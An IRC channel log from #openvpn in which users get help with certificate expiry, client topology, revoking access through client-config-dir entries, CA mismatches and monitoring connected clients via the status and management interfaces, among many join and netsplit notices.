02:32 -!- Sembei [~Sembei@unaffiliated/sembei] has quit [Ping timeout: 264 seconds]
02:35 -!- alexxtasi [~alex@unaffiliated/alexxtasi] has joined #openvpn
03:04 -!- ketas [ketas@ketas6-sixxs.si.pri.ee] has joined #openvpn
03:05 < ketas> nice, openvpn tunnel over dns
03:22 < kraut> you mean udp 53 as listener?
03:26 < ketas> no, actually doing dns
03:28 -!- mattock is now known as mattock_afk
03:31 < ketas> from collection "hacks you might need on the go"
03:31 -!- novaflash is now known as novaflash_away
03:32 < ketas> :P
03:35 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
03:36 < kraut> ketas: reference?
03:36 < ketas> what?
03:38 < ketas> suprisingly i got whole 0.5 megabit through that
03:40 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 240 seconds]
03:52 -!- Netsplit *.net <-> *.split quits: pepijndevos, @krzee, jzaw, ketas, tapout, dvl, batrick, s0meone, Gman32, troyt,  (+1 more, use /NETSPLIT to show all of them)
03:54 -!- Netsplit over, joins: @krzee, troyt, dvl, ketas, batrick, jzaw, Gman32, dandy, s0meone, pepijndevos
03:54 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
03:55 -!- ketas [ketas@ketas6-sixxs.si.pri.ee] has quit [Max SendQ exceeded]
03:55 -!- tapout [~tapout@unaffiliated/tapout] has joined #openvpn
03:56 -!- ketas [ketas@ketas6-sixxs.si.pri.ee] has joined #openvpn
04:02 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Ping timeout: 241 seconds]
04:08 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 252 seconds]
04:13 -!- smue [smue@nostromo.smue.info] has quit [Quit: may the force be with you...]
04:16 -!- Sembei [~Sembei@unaffiliated/sembei] has joined #openvpn
04:17 -!- novaflash_away is now known as novaflash
04:32 -!- Sembei [~Sembei@unaffiliated/sembei] has quit [Ping timeout: 248 seconds]
04:41 < wallbroken> i'm sorry, with the new easy-rsa "ns-cert-type server" will avoid?
05:04 -!- mattock_afk is now known as mattock
05:08 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
05:18 -!- phx [~phoemix@freebsd/op/phx] has joined #openvpn
05:18 < phx> hello
05:19 < phx> i've got my certchain with the expiry date around 2017, however openvpn gui on windows says, my cert is expired, how could i get it to tell _why_ does it think this is the case?
05:21 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
05:21 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has joined #openvpn
05:35 -!- mgorbach [~mgorbach@pool-108-7-229-122.bstnma.fios.verizon.net] has quit [Ping timeout: 260 seconds]
05:38 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has quit [Ping timeout: 245 seconds]
05:44 -!- grep0r [grep0r@bitcoinshell.mooo.com] has quit [Ping timeout: 264 seconds]
05:55 -!- klein [~klein@unaffiliated/klein] has quit [Quit: Leaving]
05:56 -!- calcifea_ [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
05:57 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
06:18 -!- grep0r [grep0r@bitcoinshell.mooo.com] has joined #openvpn
06:29 -!- Sembei [~Sembei@unaffiliated/sembei] has joined #openvpn
06:29 -!- Nikon_m [~nikonm@d24-235-162-103.home1.cgocable.net] has joined #openvpn
06:33 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 240 seconds]
06:41 -!- troj [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
06:41 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Read error: Operation timed out]
06:43 -!- takamichi [~takamichi@85.12.8.15] has joined #openvpn
06:47 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
06:48 -!- phx [~phoemix@freebsd/op/phx] has left #openvpn []
06:59 -!- Nikon_m [~nikonm@d24-235-162-103.home1.cgocable.net] has quit [Quit: Nikon_m]
07:06 < Aketzu> with dev tun and topology net30, can clients use consecutive addresses?
07:07 < Aketzu> i.e. .2, .3, .4 each to different client
07:19 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
07:36 -!- Sembei [~Sembei@unaffiliated/sembei] has quit [Ping timeout: 260 seconds]
07:39 <@ecrist> no
07:39 <@ecrist> use topology subnet
07:39 <@ecrist> !net30
07:39 <@vpnHelper> "net30" is "/30" is (#1) http://openvpn.net/index.php/documentation/faq.html#slash30 explains why routed clients each use 4 ips, or (#2) you can avoid this behavior with by reading !topology
07:44 -!- aortmann [~aortmann@dslb-188-098-069-128.pools.arcor-ip.net] has joined #openvpn
07:46 < aortmann> hi, I have created a virtual network called net3. Now I installed openvpn server and I can start it but the vpn server creates a new tun0 network with the same subnet but I cant ping with my client a vm in that virtual network. I want to configure the vpn server that the clients connect in the same virtual network net3
07:47 < aortmann> !paste
07:47 <@vpnHelper> "paste" is (#1) "pastebin" is (#1) please paste anything with more than 5 lines into a pastebin site or (#2) https://gist.github.com is recommended for fewest ads; try fpaste.org or paste.kde.org as backups or (#3) If you're pasting config files, see !configs for grep syntax to remove comments or (#2) gist allows multiple files per paste, useful if you have several files to show
07:50 < aortmann> http://pastebin.com/uCkxfr1S this is my config
07:52 -!- Lars_G [~Lars@unaffiliated/lars-g/x-000001] has joined #openvpn
07:52 < Lars_G> Hello.
07:52 < Lars_G> Is there an "easy" way to revoke certs on the server?
07:54 -!- aortmann [~aortmann@dslb-188-098-069-128.pools.arcor-ip.net] has quit [Read error: Operation timed out]
07:54 <@ecrist> !revoke
07:55 <@ecrist> Lars_G: yes, you can disable the cert with a CCD entry
07:55 < Lars_G> The bot woke up in a mood it seems
07:55 < Lars_G> !revoke
07:56 <@ecrist> just create a CCD entry and put disable as the first line
07:56 <@ecrist> so, if you want to deny user foobar, and your --client-config-dir is set to /path/to/ccd, echo "disable" > /path/to/ccd/foobar
07:58 < Lars_G> Ok, thanks
07:58 < Lars_G> That's not hard.
07:58 -!- dothak [~dothak@c-98-224-238-114.hsd1.mi.comcast.net] has joined #openvpn
07:58 -!- aortmann [~aortmann@dslb-188-098-064-025.pools.arcor-ip.net] has joined #openvpn
08:03 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
08:03 -!- mattock is now known as mattock_afk
08:05 < dothak> when I do a build-key client
08:05 < dothak> that generates a public key/public cert right?
08:07 <@ecrist> yes
08:07 < dothak> and that's all based off of the server.crt information?
08:07 <@ecrist> it's based on the CA
08:09 < dothak> ok
08:09 < dothak> so I have a server that's ca.crt changed, but I am still able to connect to it with my old ca.crt
08:10 < dothak> I'm just trying to understand why it works, so I can figure out how it happened.
08:19 -!- cyberspace- [20253@ninthfloor.org] has quit [Disconnected by services]
08:19 -!- cyberspace_ [20253@ninthfloor.org] has joined #openvpn
08:19 -!- cyberspace_ [20253@ninthfloor.org] has quit [Read error: Connection reset by peer]
08:21 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
08:22 -!- Tera_ [~tera@ip133-114.seclan.com] has joined #openvpn
08:22 -!- Six6siX_ [~Devil@jasmine.sammybakar.com] has joined #openvpn
08:23 -!- saneki_ [~saneki@dedi2.ip1.zylongaming.com] has joined #openvpn
08:23 -!- Netsplit *.net <-> *.split quits: NP-Completeass, Tera, Six6siX, saneki, Lars_G, aji
08:23 -!- Six6siX_ is now known as Six6siX
08:29 < dothak> so if all of a sudden my ca.crt changed and new client certs aren't working, I have to recreate the ca?
08:30 -!- Nikon_m [~nikonm@184.151.63.227] has joined #openvpn
08:30 -!- aji [~alex@atheme/member/aji] has joined #openvpn
08:32 -!- NP-Completeass [~NP-Hardas@unaffiliated/np-hardass] has joined #openvpn
08:33 < rob0> Changed? Why?
08:33 < dothak> not sure how, I think another admin might've done something
08:34 < rob0> Another reason why your CA should not be maintained on the VPN server.
08:34 < rob0> Your server will only recognize clients which were signed by the same CA as the server's certificate.
08:35 < dothak> so the CA should be a seperate entity than the vpn server used to connect.
08:35 < rob0> The HOWTO mentions this, I am pretty sure.
08:35 < dothak> well that's the thing.  I can still connect with my old information
08:39 <@ecrist> they why do you think something changed?
08:42 < Nikon_m> How do I identify which users are online again?
08:42 <@ecrist> the openvpn status log
08:44 < Nikon_m> I mean, so I could integrate it in to a web interface
08:46 < dothak> because keys generated using build-key can't connect
08:47 < pekster> Nikon_m: You asked that 2 days ago. The answer is the same
08:47 < Nikon_m> I forgot what you said XD
08:47 < pekster> Apparently
08:47 < pekster> .2013-12-14 13:29< pekster> Nikon: Yup; write a frontend that parses one of: A) the --sta
08:47 < pekster> tus file output, B) --management output that tracks client connect/disconnect, C) parses
08:47 < pekster>  the log output after a SIGUSR2, or D) tracking done by --client-connect & --client-diss
08:47 < pekster> connect
08:47 < pekster> Ugh, sorry about the line formatting :\
08:48 < Nikon_m> No worries thank you for getting that for me man c:
08:48 < pekster> This is a bit nicer now: < pekster> Nikon: Yup; write a frontend that parses one of: A) the --status file output, B) --management output that tracks client connect/disconnect, C) parses the log output after a SIGUSR2, or D) tracking done by --client-connect & --client-dissconnect
08:49 < Nikon_m> pekster: When I have -management on and I use the GUI I can't telnet in to the service
08:49 -!- Chaot_s [~chaot_s@d54C40070.access.telenet.be] has joined #openvpn
08:49 < Nikon_m> Well I have management on in the config
08:49 < pekster> Quite right. Why would you want a web interface frontend if you're using the GUI? The GUI _is_ your visual interface in that case
08:50 < Nikon_m> Wait, there's a web interface when you enable management 0.0
08:50 < Nikon_m> I thought it was only a telnet interface
08:50 < pekster> No, it's _your_ job to write a web interface
08:50 < Nikon_m> Ohhhhh
08:50 < Nikon_m> XD
08:51 < Nikon_m> hehe
08:51 < pekster> (or use an existing one, if such a project exists)
08:51 < Nikon_m> So management is disabled when in the GUI?
08:51 < pekster> --management just allows programatic control of openvpn through either a TCP socket or a Unix socket
08:51 < pekster> The GUI uses --management to control openvpn based on what you click
08:51 < Nikon_m> Ahh
08:51 < Nikon_m> Hmm okie dokie
08:52 < Nikon_m> Thank you man c: you've helped me a ton!! I owe you big
08:53 < pekster> See doc/management-notex.txt in the source distribution for a detailed description of using the --management interface if you plan to use it yourself; then you'd start the service instead and have your frontend do what you want. Or optionally, use an alternative method I proposed if you just want status output
08:54 < pekster> ecrist & I both pointed out earlier you might just be able to add a --status line and parse that if you don't mind the periodic refresh of that file
08:54 < pekster> management-notes.txt, rather
08:55 < Nikon_m> hmm, well what would the refresh rate e?
08:55 < Nikon_m> Be
08:55 < pekster> Described very clearly in the manpage under --status
08:55 < pekster> !man
08:55 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
08:55 < Nikon_m> Also could it be refreshed every time a new user connects or is it just a periodic thing
08:56 < pekster> Periodic. If you want on-demand signaling, use --management or the {dis}connect scripts
08:57 < pekster> I have some basic accounting shell code that you can learn the latter from:
08:57 < pekster> !dynamic
08:57 < pekster> !factoids search dynamic
08:57 <@vpnHelper> "dynamicfirewall" is to learn how to modify the firewall based on which client has which ip, please read --learn-address in the manpage (!man)
08:57 < Nikon_m> Thank ye c:
08:57 < pekster> This: https://github.com/QueuingKoala/openvpn-dynamic/tree/master/user-accounting
08:57 <@vpnHelper> Title: openvpn-dynamic/user-accounting at master · QueuingKoala/openvpn-dynamic · GitHub (at github.com)
08:57 < Nikon_m> I gtg now but thank you again!
08:58 -!- Nikon_m [~nikonm@184.151.63.227] has quit [Quit: Nikon_m]
08:58 < pekster> We'll see if that was worth it in 2 days, I guess :)
09:05 -!- alexxtasi [~alex@unaffiliated/alexxtasi] has left #openvpn []
09:13 -!- moparisthebest [~quassel@mailer.moparscape.org] has joined #openvpn
09:13 -!- APTX_ [APTX@unaffiliated/aptx] has joined #openvpn
09:14 -!- kirin` [telex@gateway/shell/anapnea.net/x-ysnodmwoclmlrjji] has quit [Disconnected by services]
09:14 -!- kirin` [telex@gateway/shell/anapnea.net/x-fuhjlmmzjbsvrhzn] has joined #openvpn
09:14 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds]
09:14 -!- moparisthebest_ [~quassel@mailer.moparscape.org] has quit [Remote host closed the connection]
09:14 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has quit [Read error: Connection reset by peer]
09:14 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has joined #openvpn
09:14 -!- saneki_ [~saneki@dedi2.ip1.zylongaming.com] has quit [Ping timeout: 264 seconds]
09:14 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 264 seconds]
09:14 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 264 seconds]
09:14 -!- NChief [~nchief@unaffiliated/nchief] has quit [Ping timeout: 264 seconds]
09:14 -!- plaisthos [~arne@kamera.blinkt.de] has joined #openvpn
09:14 -!- NChief [~nchief@ircimg.net] has joined #openvpn
09:14 -!- plaisthos [~arne@kamera.blinkt.de] has quit [Client Quit]
09:14 -!- ngharo [~ngharo@nexus.sypherz.com] has quit [Ping timeout: 264 seconds]
09:14 -!- APTX [APTX@unaffiliated/aptx] has quit [Ping timeout: 264 seconds]
09:14 -!- plaisthos [~arne@kamera.blinkt.de] has joined #openvpn
09:14 -!- ngharo_ [~ngharo@nexus.sypherz.com] has joined #openvpn
09:15 -!- dazo_afk [~dazo@114.201.9.46.customer.cdi.no] has joined #openvpn
09:15 -!- plaisthos [~arne@kamera.blinkt.de] has quit [Client Quit]
09:15 -!- dazo_afk is now known as dazo
09:15 -!- dazo [~dazo@114.201.9.46.customer.cdi.no] has quit [Changing host]
09:15 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn
09:15 -!- mode/#openvpn [+o dazo] by ChanServ
09:15 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
09:15 -!- mode/#openvpn [+o plaisthos] by ChanServ
09:16 <@plaisthos> pekster: I thought you wanted to change the sales@... line - my bad
09:27 -!- xBytez [xBytez@unaffiliated/xbytez] has quit [Ping timeout: 246 seconds]
09:27 -!- Eugene [eugene@clockworkmod.org] has quit [Ping timeout: 264 seconds]
09:27 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has quit [Read error: Connection reset by peer]
09:27 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has joined #openvpn
09:27 -!- NChief [~nchief@ircimg.net] has quit [Ping timeout: 264 seconds]
09:27 -!- NChief [~nchief@ircimg.net] has joined #openvpn
09:27 -!- EugeneKay [eugene@clockworkmod.org] has joined #openvpn
09:27 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has left #openvpn []
09:27 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
09:27 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
09:27 -!- mode/#openvpn [+o plaisthos] by ChanServ
09:29 -!- takamichi [~takamichi@85.12.8.15] has quit [Ping timeout: 260 seconds]
09:29 < aortmann> hi I have a config like this: http://pastebin.com/VPuS6DWZ I got a subnet with 10.1.1.0/24 in the vpn server and the openvpn tun0 10.2.2.0/24. I cant ping from my vpn client (10.2.2.6) the ip 10.1.1.111 but why :/. My ipnaat looks like this: map net3 10.1.1.0/24 -> 0.0.0.0/32
09:29 < aortmann> map tun0 10.2.2.0/24 -> 0.0.0.0/32
09:30 -!- xBytez [xBytez@libxbytez.so] has joined #openvpn
09:30 -!- xBytez [xBytez@libxbytez.so] has quit [Changing host]
09:30 -!- xBytez [xBytez@unaffiliated/xbytez] has joined #openvpn
09:30 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
09:32 -!- Sembei [~Sembei@unaffiliated/sembei] has joined #openvpn
09:36 -!- Kuba [~jakub@unaffiliated/kuba] has quit [Read error: Connection reset by peer]
09:39 -!- Netsplit *.net <-> *.split quits: pepijndevos, @krzee, tapout, batrick, aji, s0meone, Gman32, troyt, dandy
09:41 -!- master_o1_master [~master_of@p4FD7BF61.dip0.t-ipconnect.de] has joined #openvpn
09:43 -!- master_of_master [~master_of@p4FD7BB8C.dip0.t-ipconnect.de] has quit [Read error: Operation timed out]
09:43 -!- Sembei [~Sembei@unaffiliated/sembei] has quit [Ping timeout: 245 seconds]
09:44 -!- saneki [~saneki@dedi2.ip1.zylongaming.com] has joined #openvpn
09:44 -!- aji [~alex@atheme/member/aji] has joined #openvpn
09:44 -!- batrick [batrick@nmap/developer/batrick] has joined #openvpn
09:44 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
09:44 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has joined #openvpn
09:44 -!- Gman32 [~Gman32@2607:5300:60:2b74::1] has joined #openvpn
09:44 -!- dandy [~dandy@2a01:360:106::2] has joined #openvpn
09:44 -!- s0meone [someone@2600:3c01::f03c:91ff:fedf:feb8] has joined #openvpn
09:44 -!- pepijndevos [pepijndevo@2a00:dcc0:eda:3754:247:55:9194:8ed6] has joined #openvpn
09:44 -!- ServerMode/#openvpn [+o krzee] by wolfe.freenode.net
09:45 -!- Cygor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
09:46 -!- duoi [duoi@gateway/shell/ircrelay.com/x-yjievtmytppwghdd] has quit [Quit: IRCRelay - http://ircrelay.com]
09:47 -!- duoi_ [duoi@gateway/shell/ircrelay.com/x-fllagkqqcedesskp] has joined #openvpn
09:47 -!- Probeus_ [probeus@probeus.no] has joined #openvpn
09:48 -!- rob0_ [rob0@pdpc/valentine/postfixninja/rob0] has joined #openvpn
09:49 -!- bersace_ [~bersace@sevin.cae.li] has joined #openvpn
09:49 -!- jefferai_gone [~quassel@corkblock.jefferai.org] has joined #openvpn
09:49 -!- saneki [~saneki@dedi2.ip1.zylongaming.com] has quit [Ping timeout: 240 seconds]
09:49 -!- kisom [~kisom@kisom.thr.kth.se] has joined #openvpn
09:49 -!- Hes_ [frCl@tunkki.fi] has joined #openvpn
09:50 -!- Brando753-o_O_o [~Brando753@unaffiliated/brando753] has joined #openvpn
09:51 -!- liriel_ [~liriel@198.154.114.106] has joined #openvpn
09:51 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has joined #openvpn
09:51 -!- emid [~emid@192.241.162.156] has joined #openvpn
09:51 -!- mattockl [~mattock@raidz.im] has joined #openvpn
09:51 -!- mattockl is now known as mattock
09:51 -!- mattock [~mattock@raidz.im] has quit [Changing host]
09:51 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
09:51 -!- mode/#openvpn [+o mattock] by ChanServ
09:51 -!- saneki [~saneki@dedi2.ip1.zylongaming.com] has joined #openvpn
09:52 -!- _br_- [~bjoern_fr@213-239-215-232.clients.your-server.de] has joined #openvpn
09:52 -!- esde_ [~esde@162.218.209.203] has joined #openvpn
09:52 -!- Cubox` [cubox@unaffiliated/cubox] has joined #openvpn
09:52 -!- i7c_ [~i7c@80-69-77-233.colo.transip.net] has joined #openvpn
09:53 -!- thecaptain2000 [~quassel@67.237.79.188.dynamic.jazztel.es] has quit [Read error: Connection reset by peer]
09:54 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 248 seconds]
09:54 -!- i7c [~i7c@unaffiliated/i7c] has quit [Ping timeout: 248 seconds]
09:54 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has quit [Ping timeout: 248 seconds]
09:54 -!- NP-Completeass [~NP-Hardas@unaffiliated/np-hardass] has quit [Ping timeout: 248 seconds]
09:54 -!- kisom_ [~kisom@kisom.thr.kth.se] has quit [Ping timeout: 248 seconds]
09:54 -!- CUBOX [cubox@unaffiliated/cubox] has quit [Ping timeout: 248 seconds]
09:54 -!- Brando753 [~Brando753@unaffiliated/brando753] has quit [Ping timeout: 248 seconds]
09:54 -!- esde [~esde@unaffiliated/esde] has quit [Ping timeout: 248 seconds]
09:54 -!- _br_ [~bjoern_fr@213-239-215-232.clients.your-server.de] has quit [Ping timeout: 248 seconds]
09:54 -!- liriel [~liriel@198.154.114.106] has quit [Ping timeout: 248 seconds]
09:54 -!- bersace [~bersace@sevin.cae.li] has quit [Ping timeout: 248 seconds]
09:54 -!- Brando753-o_O_o is now known as Brando753
09:55 -!- liriel_ is now known as liriel
09:56 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Ping timeout: 248 seconds]
09:57 -!- jefferai [~quassel@kde/mitchell] has quit [Ping timeout: 248 seconds]
09:57 -!- Probeus [~quassel@probeus.no] has quit [Ping timeout: 248 seconds]
09:57 -!- emid_ [~emid@192.241.162.156] has quit [Ping timeout: 248 seconds]
09:57 -!- Hes [bmg5Tt@tunkki.fi] has quit [Ping timeout: 248 seconds]
09:58 -!- tapout [~tapout@unaffiliated/tapout] has joined #openvpn
09:58 -!- duoi_ is now known as duoi
09:58 -!- duoi [duoi@gateway/shell/ircrelay.com/x-fllagkqqcedesskp] has quit [Excess Flood]
09:58 -!- rolloTomasi [~rolloToma@bas1-kitchener09-1176482838.dsl.bell.ca] has quit [Ping timeout: 265 seconds]
09:58 -!- duoi [duoi@gateway/shell/ircrelay.com/x-rsznumzfmsaeyfcn] has joined #openvpn
09:58 -!- duoi [duoi@gateway/shell/ircrelay.com/x-rsznumzfmsaeyfcn] has quit [Changing host]
09:58 -!- duoi [duoi@unaffiliated/duoi] has joined #openvpn
09:58 -!- duoi [duoi@unaffiliated/duoi] has quit [Changing host]
09:58 -!- duoi [duoi@gateway/shell/ircrelay.com/x-rsznumzfmsaeyfcn] has joined #openvpn
09:59 -!- kisom [~kisom@kisom.thr.kth.se] has quit [Ping timeout: 259 seconds]
09:59 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 260 seconds]
09:59 -!- BtbN [znc@btbn.de] has quit [Ping timeout: 260 seconds]
09:59 -!- kisom [~kisom@kisom.thr.kth.se] has joined #openvpn
09:59 -!- aortmann [~aortmann@dslb-188-098-064-025.pools.arcor-ip.net] has quit []
10:00 -!- JackWinter_ [~jack@vodsl-4669.vo.lu] has quit [Excess Flood]
10:00 -!- rolloTomasi [~rolloToma@public-nat-d.vpngate.net] has joined #openvpn
10:01 -!- Denial- [Denial@94.8.139.3] has joined #openvpn
10:02 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
10:02 -!- Denial [Denial@94.8.139.3] has quit [Ping timeout: 260 seconds]
10:02 -!- Denial- is now known as Denial
10:02 -!- JackWinter_ [~jack@vodsl-4669.vo.lu] has joined #openvpn
10:02 -!- meepmeep [meepmeep@end.of.cylind.re] has quit [Ping timeout: 260 seconds]
10:03 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 260 seconds]
10:03 -!- meepmeep [meepmeep@end.of.cylind.re] has joined #openvpn
10:04 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
10:05 -!- rob0_ is now known as rob0
10:07 -!- BtbN [znc@btbn.de] has joined #openvpn
10:08 -!- pcdummy_ [~pcdummy@mx1.page4me.ch] has joined #openvpn
10:09 -!- Probeus [probeus@probeus.no] has joined #openvpn
10:09 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds]
10:10 -!- steven776 [~martin@84.160.190.90.dyn.estpak.ee] has joined #openvpn
10:11 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
10:11 -!- mode/#openvpn [+o dazo_afk] by ChanServ
10:11 -!- dazo_afk is now known as dazo
10:11 -!- akselii_ [~akselii@tsydeemi.eu] has joined #openvpn
10:14 -!- rolloTomasi [~rolloToma@public-nat-d.vpngate.net] has quit [Ping timeout: 252 seconds]
10:15 -!- C_S_B [~C-S-B@host86-173-99-141.range86-173.btcentralplus.com] has joined #openvpn
10:15 -!- gardar_ [~gardar@gardar.net] has joined #openvpn
10:15 -!- rolloTomasi [~rolloToma@bas1-kitchener09-1176482838.dsl.bell.ca] has joined #openvpn
10:16 -!- _b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
10:17 -!- Gasseus [~Rallias@unaffiliated/gasseus] has joined #openvpn
10:18 -!- Netsplit *.net <-> *.split quits: @krzee, hive-mind, jave, mcp, grep0r, phreakocious, rkantos, meepmeep, _br_-, Gman32,  (+53 more, use /NETSPLIT to show all of them)
10:18 -!- _b00b is now known as b00b
10:19 -!- Gasseus is now known as Rallias
10:19 -!- Netsplit over, joins: meepmeep
10:21 -!- Kuba [~jakub@87.239.45.70] has joined #openvpn
10:21 -!- _br_ [~bjoern_fr@213-239-215-232.clients.your-server.de] has joined #openvpn
10:21 -!- mgorbach [~mgorbach@pool-108-20-78-135.bstnma.fios.verizon.net] has joined #openvpn
10:21 -!- rkantos_ [robin@4e.fi] has joined #openvpn
10:21 -!- rob0_ [rob0@harrier.slackbuilds.org] has joined #openvpn
10:21 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
10:21 -!- JackWinter_ [~jack@vodsl-4669.vo.lu] has joined #openvpn
10:21 -!- Denial [Denial@94.8.139.3] has joined #openvpn
10:21 -!- tapout [~tapout@unaffiliated/tapout] has joined #openvpn
10:21 -!- saneki [~saneki@dedi2.ip1.zylongaming.com] has joined #openvpn
10:21 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
10:21 -!- emid [~emid@192.241.162.156] has joined #openvpn
10:21 -!- liriel [~liriel@198.154.114.106] has joined #openvpn
10:21 -!- Hes_ [frCl@tunkki.fi] has joined #openvpn
10:21 -!- jefferai_gone [~quassel@corkblock.jefferai.org] has joined #openvpn
10:21 -!- pepijndevos [pepijndevo@2a00:dcc0:eda:3754:247:55:9194:8ed6] has joined #openvpn
10:21 -!- s0meone [someone@2600:3c01::f03c:91ff:fedf:feb8] has joined #openvpn
10:21 -!- dandy [~dandy@2a01:360:106::2] has joined #openvpn
10:21 -!- Gman32 [~Gman32@2607:5300:60:2b74::1] has joined #openvpn
10:21 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has joined #openvpn
10:21 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
10:21 -!- batrick [batrick@nmap/developer/batrick] has joined #openvpn
10:21 -!- aji [~alex@atheme/member/aji] has joined #openvpn
10:21 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
10:21 -!- sailerboy [~sailerboy@sailerboy.net] has joined #openvpn
10:21 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
10:21 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has joined #openvpn
10:21 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
10:21 -!- _quadDam1ge [~EmperorTo@boom.blissfulidiot.com] has joined #openvpn
10:21 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
10:21 -!- pwrcycle [~pwrcycle@173.214.160.92] has joined #openvpn
10:21 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
10:21 -!- intricate [~intricate@unaffiliated/intricate] has joined #openvpn
10:21 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
10:21 -!- Cr4zi3 [killaz@staff.xbins.org] has joined #openvpn
10:21 -!- roue [~roue@66-188-204-44.dhcp.roch.mn.charter.com] has joined #openvpn
10:21 -!- klaxa [~klaxa@klaxa.eu] has joined #openvpn
10:21 -!- __bt [foobar@77.240.12.157] has joined #openvpn
10:21 -!- reiffert [~thomas@mail.reifferscheid.org] has joined #openvpn
10:21 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
10:21 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
10:21 -!- namidark [~namidark@192.34.61.38] has joined #openvpn
10:21 -!- Aketzu [akolehma@81.22.244.161] has joined #openvpn
10:21 -!- volnukhin [~ka4ok@141.0.170.169] has joined #openvpn
10:21 -!- VunKruz [~hhhh@24-205-18-142.dhcp.nrwl.ca.charter.com] has joined #openvpn
10:21 -!- thalweg [~quassel@198.211.102.196] has joined #openvpn
10:21 -!- ServerMode/#openvpn [+oo mattock krzee] by wolfe.freenode.net
10:21 -!- davidmp [~davidmp@149.255.100.107] has joined #openvpn
10:21 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has joined #openvpn
10:21 -!- M-Technic [~pi@c-67-188-136-26.hsd1.ca.comcast.net] has joined #openvpn
10:21 -!- phreakocious [~phreakoci@aesoterica.phreakocious.net] has joined #openvpn
10:21 -!- levifig [~levifig@hakr.io] has joined #openvpn
10:22 -!- duoi [duoi@gateway/shell/ircrelay.com/x-uqqfhcbejvmaihfr] has joined #openvpn
10:22 -!- duoi [duoi@gateway/shell/ircrelay.com/x-uqqfhcbejvmaihfr] has quit [Changing host]
10:22 -!- duoi [duoi@unaffiliated/duoi] has joined #openvpn
10:22 -!- duoi [duoi@unaffiliated/duoi] has quit [Changing host]
10:22 -!- duoi [duoi@gateway/shell/ircrelay.com/x-uqqfhcbejvmaihfr] has joined #openvpn
10:23 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Max SendQ exceeded]
10:23 -!- Cr4zi3 [killaz@staff.xbins.org] has quit [Excess Flood]
10:23 -!- _br_ [~bjoern_fr@213-239-215-232.clients.your-server.de] has quit [Max SendQ exceeded]
10:23 -!- rob0_ [rob0@harrier.slackbuilds.org] has quit [Changing host]
10:23 -!- rob0_ [rob0@pdpc/valentine/postfixninja/rob0] has joined #openvpn
